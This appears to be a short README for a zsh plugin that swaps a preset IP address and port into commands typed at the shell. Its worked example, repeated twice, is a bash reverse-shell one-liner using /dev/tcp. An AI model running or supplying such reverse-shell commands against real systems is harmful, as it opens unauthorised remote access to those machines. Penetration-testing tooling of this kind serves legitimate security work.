-
clone repo inside your oh-my-zsh repo
git clone https://github.com/Ha-L0/zsh-replace-ip-port ${ZSH_CUSTOM:-${ZSH:-~/.oh-my-zsh}/custom}/plugins/zsh-replace-ip-port -
add
zsh-replace-ip-portto plugins in~/.zshrcconfigplugins(... zsh-replace-ip-port)
export IP=123.123.123.123 # your ip
export PORT=1111 # your portwrite or copy paste command with ip and port
$ bash -i >& /dev/tcp/10.0.0.1/4242 0>&1before executing press CTRL + o and ip and port gets replaced
$ bash -i >& /dev/tcp/123.123.123.123/1111 0>&1